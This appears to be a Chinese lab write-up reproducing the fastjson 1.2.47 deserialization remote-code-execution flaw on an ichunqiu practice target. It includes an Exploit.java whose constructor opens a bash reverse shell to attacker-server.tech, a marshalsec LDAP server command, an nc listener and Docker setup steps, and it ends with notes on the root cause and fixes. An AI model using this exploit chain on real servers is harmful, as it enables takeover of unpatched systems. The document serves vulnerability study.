refer to:
https://yunjing.ichunqiu.com/cve/detail/912?pay=1
https://github.com/firstC99/fastjson-1.2.47-RCE
输入个json
可以看到,结果中是2行 ,一行是输入的内容,一行是通过json解析后的。
开始动手:
1. 找到合适的JDK,例如1.8 (我用了docker , openjdk:8-buster )
docker pull openjdk:8-buster
2. 该docker 运行,暴露一个端口给LDAP使用。
docker-compose.yml
version: '3' services: openjdk8: container_name: "openjdk8" image: "openjdk:8-buster" volumes: - /opt/docker_folder/openjdk_8:/root #command: 'tail -F /dev/null' ports: - "3389:3389" stdin_open: true tty: true
3. 运行docker, 进入docker ,
apt update
apt install git vim
git clone https://github.com/firstC99/fastjson-1.2.47-RCE.git
cd fastjson-1.2.47-RCE
4. 修改 Exploit.java 并编译和上传
完整源代码:
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/attacker-server.tech/3144 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
修改好之后,javac Exploit.java 编译,得到class 文件,
然后上传到 attacker-server.tech 上面,令 curl http://attacker-server.tech/Exploit.class 可以访问到内容。
一般可以使用 python3 -m http.server 80 来实现。我直接用nginx了。
5. attacker 服务器开启新的服务: LDAP, 具体命令为:
/fastjson-1.2.47-RCE# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-server.tech/#Exploit 3389
上面的命令中:
attacker-server.tech 可以换成IP, 就是上面第4点提到的Exploit.class 文件所在的服务器
/#Exploit 是固定写法, 会被LDAP转换成 /Exploit.class
3389 表示该LDAP服务器的端口号。(确保你的服务器开启了该端口,这样受害者服务器还可以访问)
如下图所示:
6. 同时,开启NC服务器:(注意这个3144端口,是被Exploit.java 文件中所调用的。)
nc -lvvp 3144
Listening on 0.0.0.0 3144
7. 写一段ruby 代码(我用POSTMAN) 来发送http 请求:
require 'httparty' require 'csv' url = 'http://eci-2zeh7w42wau8pti7ijd3.cloudeci1.ichunqiu.com:8080/fastjson' response = HTTParty.post url, body: { # 无法显示。。。 } puts response.inspect
运行该代码,可以看到:
7.1 发送成功:
7.2 攻击者的LDAP,得到了受害者服务器的请求:
7.3 攻击者的 NC服务器,拿到了shell
拿到了 /flag
总结:
1. 该CVE曲线陡峭,NC, LDAP, fastjson 都需要学习。我甚至还学习了spring boot, maven
2. 复现条件难度大。例如需要jdk1.8 (对应openjdk 8)而不是JDK18
3. 对于fastjson版本号有要求。1.2.24 或者1.2.4x 以下才行
4. 本质是反序列化过滤不严格造成的。新版本增加了白名单,以及JDNI,RMI是否允许的设置。